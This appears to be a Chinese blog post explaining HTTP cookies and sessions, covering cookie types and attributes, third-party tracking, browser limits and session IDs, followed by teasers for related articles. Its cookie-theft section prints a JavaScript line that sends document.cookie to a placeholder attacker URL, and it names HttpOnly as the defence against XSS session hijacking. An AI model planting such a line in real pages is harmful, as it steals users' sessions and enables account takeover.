cookie和session那些事

cookie

history

cookie最初是由网景公司开发的,现在所有主要的浏览器都支持它.

type

cookie分为两种:会话cookie和持久cookie.
会话cookie是一种临时的cookie,它记录用户的访问站点的设置偏好.用户在退出浏览器就会被删除.
持久cookie是存储在硬盘上的,通常用持久cookie维护用户周期性访问的站点的配置文件或用户名.
会话cookie和持久cookie的区别在于有没有过期时间,没有过期时间就是会话cookie.

cookie罐

cookie的基本思想是让浏览器积累一组服务器特有的信息,每次访问这个服务器时都将信息提供给它.

浏览器负责存储cookie信息,所以这系统称为客户端侧状态(client-side state).

此cookie的正是规范名称为HTTP状态管理机制(HTTP state management mechanism).

站点使用不同的cookie

很多web站点都会与第三方厂商达成协议,由其来管理广告.用户在访问多个由相同广告公司提供服务的站点时.(由于域名是匹配)浏览器就会回送设置好的持久cookie. 营销公司可以将此技术与Referer首部结合, 暗里构建用户文档收集用户习惯.

第三方cookie

当你访问A网站时,a服务器设置B网站的cookie,当你访问B网站时,客户端就把cookie发给b服务器,b服务器就收到了cookie.做相应的处理.

cookie版本0属性

在服务器上可以在响应的首部加Set-cookie的属性控制哪些站点可以使用cookie.
Set-cookie: user="mary"; expires="Manday, 01-01-1999 01-01-01"; pref=password; path=/secure/; secure domain="xxx.com"
NAME=VALUE:强制,键值
expires: 过期时间(Weekday, DD-MM-YY HH:MM:SS GMT)
path: 路径
secure: 在https时发送

cookie版本1新增属性

Version: 强制,使用cookie的版本
Comment: 告诉客户端如何使用
CommentURL: 指向详细描述这cookie目的和策略的文档
Discard:客户端在程序终止时,放弃这个cookie
Max-Age:以秒单位,设置cookie的过期时间
port:端口号

会话跟踪

在用户访问站点进行多项事务可用cookie进行对用户的跟踪.在用户访问站点时,就会启动事务链,在web服务器会使用重定向,URL重写以及cookie设置.

a-客户端打开xxx.com网页
b-服务器将客户端重定向到其他URL上(Location: http://www.xxx.com/redirect.html)
c-客户端向重定向的URL发请求
d-服务端响应上送出两个会话cookie,将用户重定向到另一个URL(Location: http://www.xxx.com/redirect.html/cookie[key])
e-客户端向重定向的URL发请求,并把cookie附加在请求
f-服务器收到请求,在送两个cookie,在重定向(Location: http://www.xxx.com/end.html)
g-客户端向重定向的URL发请求,并附上所有的cookie
h-服务器回送内容
(来自于amazon.com栗子)

cache

可以在请求头注明cookie不可缓存

Cache-Control: no-cache=‘Set-Cookie‘

Max Length

IE6及更低版本限制每个域名最多20个cookie
IE7和之后版本每个域名最多50个。IE7最初是支持每个域名最大20个cookie,之后被微软的一个补丁所更新
Firefox限制每个域最多50个cookie
Opera限制每个域最多30个cookie
Safari和Chrome对于每个域的cookie数量限制没有硬性规定

cookie窃取

攻击者 => a 被攻击者 => b
a服务器的文件 => http://xxx.com/xxx.php
a只要在b的服务器上加一行代码,就能获取用户在b网站的cookie

location.href=‘http://xxx.com/xxx.php?cookie=‘ + document.cookie

short

缺点是不太安全,敏感信息最好别用cookie存储

session

session是一个抽象概念,服务端需要记录用户的状态时,就需要用某种机制来识具体的用户,这机制就是session机制.服务端session的数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件(服务器) .

实现

第一次创建Session的时候,服务端会在HTTP协议中告诉客户端,需要在 Cookie 里面记录一个Session ID,以后每次请求把这个会话ID发送到服务器.
每次HTTP请求的时候,客户端都会发送相应的Cookie信息到服务端.

XSS劫持

跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持

set-cookie设置一个HttpOnly搞掂了

原文地址:https://www.cnblogs.com/homehtml/p/12222931.html

时间: 2024-10-17 07:18:44

cookie和session那些事的相关文章

cookie 和 session 的一些事 中间件

cookie 和 session cookie 1. 保存在浏览器上一组组键值对,服务器让浏览器进行设置. 2. 为什么要用cookie? HTTP协议是无状态.使用cookie保存状态. 3. django中的操作 设置: response.set_cookie(key,value,max_age=5) response.set_signed_cookie(key,value,max_age=5,salt='xxx') 获取: request.COOKIES request.COOKIES[k

Cookie与Session详解

来源:<PHP核心技术与最佳实践> 列旭松 陈文 著 Cookie与Session详解读书笔记,从概念.操作.应用.注意事项以及区别等几方面详细阐述两者的基础知识,它们都是针对HTTP协议的局限性而提出的一种保持客户端和服务器间保持会话连接状态的机制.. 一.Cookie详解 Cookie在远程浏览器端存储数据并以此跟踪和识别用户的机制.从实现上说,Cookie是存储在客户端上的一小段数据,浏览器(即客户端)通过HTTP协议和服务器端进行Cookie交互. Cooke独立于语言存在,严格地说,

cookie、session和token

https://zhuanlan.zhihu.com/p/25495290?utm_source=wechat_session&utm_medium=social 一.cookie 众所周知,HTTP 是一个无状态协议,所以客户端每次发出请求时,下一次请求无法得知上一次请求所包含的状态数据,如何能把一个用户的状态数据关联起来呢? 1.首先产生了 cookie 这门技术来解决这个问题,cookie 是 http 协议的一部分,它的处理分为如下几步: 1 服务器向客户端发送 cookie. 2 通常

IM开发基础知识补课(四):正确理解HTTP短连接中的Cookie、Session和Token

本文引用了简书作者“骑小猪看流星”技术文章“Cookie.Session.Token那点事儿”的部分内容,感谢原作者. 1.前言 众所周之,IM是个典型的快速数据流交换系统,当今主流IM系统(尤其移动端IM)的数据流交换方式都是Http短连接+TCP或UDP长连接来实现.Http短连接主要用于从服务器读取各种持久化信息:比如用户信息.聊天历史记录.好友列表等等,长连接则是用于实时的聊天消息或指令的接收和发送. 作为IM系统中不可或缺的技术,Http短连的重要性无可替代,但Http作为传统互联网信

day07 Cookie 和 Session(非常重要)

day07 Cookie 和 Session 1. 会话技术 2. cookie 的方法和 cookie 案例-显示用户上次访问网站的时间 3. cookie 的细节 - 删除 cookie 4. Session 对象 4.1 配置 session 存活时间 4.2 session 工作原理(基于 cookie,且无有效期,即浏览器关掉 cookie 就消失) 5. 用户禁用了 cookie,session就不好使了,做电商网站的要解决这个问题,解决方案为:URL 重写 6. session 细

Django之cookie 与session组件

一.会话跟踪技术 1.1 什么是会话跟踪 我们需要先了解一下什么是会话!可以把会话理解为客户端与服务器之间的一次会晤,在一次会晤中可能会包含多次请求和响应.例如你给10086打个电话,你就是客户端,而10086服务人员就是服务器了.从双方接通电话那一刻起,会话就开始了,到某一方挂断电话表示会话结束.在通话过程中,你会向10086发出多个请求,那么这多个请求都在一个会话中. 在Web中,客户向某一服务器发出第一个请求开始,会话就开始了,直到客户关闭了浏览器会话结束. 在一个会话的多个请求中共享数据

Web框架之Django_08 重要组件(form组件、cookie和session组件)

摘要: form组件 cookie组件 session组件 一.form组件 form介绍我们之前在html页面中利用form表单向后端提交数据时候,都需要对用户的输入进行校验,比如校验用户是否输入正确(长度.格式...),如果用户输入的内容有误则需要在相应的位置显示对应的错误信息来提醒用户,提高前端的交互效率.Django form组件就是实现上述功能的一个功能组件.from组件主要功能有:# 生成页面可用的html标签# 对用户条件的数据进行校验# 保留上次输入内容 先来看看自己手写注册功能

Python Django 多对多三种创建方式 form组件 cookie和session

一 表中多对多关系三种创建方式 以Book表和Author表多对多关系例 1.第一种方式:全自动(推荐使用):models.ManyToManyField(to='类名') 优点:不需要你手动创建第三张表 缺点:第三张表不是你手动创建的,字段是固定的无法拓展 class Book(models.Model): title = models.CharField(max_length=32) price = models.DecimalField(max_digits=8,decimal_place

多对多三种创建方式,forms组件,cookie和session

多对多三种创建方式 1.全自动 优点:不需要自己手动创建第三章表缺点:由于第三张表不是自己创建的,也就是说第三张表字段是固定的没有办法做扩展 class Book(models.Model): title = models.CharField(max_length=32) price = models.DecimalField(max_digits=8,decimal_places=2) authors = models.ManyToManyField(to='Author') class Au